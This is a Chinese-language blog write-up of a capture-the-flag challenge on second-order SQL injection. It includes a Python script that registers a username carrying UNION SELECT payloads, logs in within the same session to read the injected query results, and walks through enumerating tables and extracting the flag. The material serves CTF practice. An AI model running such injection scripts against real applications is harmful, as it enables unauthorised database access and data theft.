October 2019 Twice SQL Injection

October 2019 Twice SQL Injection

知识点:

  • sql二次注入
  • 学习脚本编写
  • Mongodb数据库的一些了解

题解:

我自己独立测试的时候,发现了转义 ==> 二次注入;其他没发现什么了。。。

怎么说呢,我觉得这个题适合我们练习脚本的编写,方法是最简单的联合注入(union select),但需要保持会话(session)

注入点:注册页面的Username处

回显点:用注册好的登录进去

import requests
from bs4 import BeautifulSoup

url = "http://795fc04e-64d9-4217-939c-f766000be17b.node5.buuoj.cn:81/?action="

# payload注入在url1上,保持会话,登录查询回显

# 查数据库名字: ctftraining
# payload = "1' union select database()#"
# 查表名 flag,news,users
# payload = "1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#"
# 查列名 flag
# payload = "1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#"
# 查字段值 
payload = "1' union select flag from flag#"

url1 = url + "reg"
url2 = url + "login"

data = {
    'username':payload,
    'password':'1'
}

r = requests.session() # 保持会话,因为这个题的环境涉及了登录

res1 = r.post(url=url1, data=data)
res2 = r.post(url=url2, data=data)

html = res2.text
soup = BeautifulSoup(html, 'html.parser')
result = soup.div.text
print("[*]" + result)

这里的bs4模块,只是让结果更简洁,去掉了html的标签,不要这个也没事,下载方法自己百度吧,因为我也是百度的,我自己只会pip instlal +模块名字 -i 清华源

无非就是注意自己的python版本,有时候编者用的python2编写,但你的环境是python3, 而有些模块在不同python版本的名字是不一样的

下载模块的时候无非就是注意这几点,其他没什么的。

参考:

WriteUp

Mongodb

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值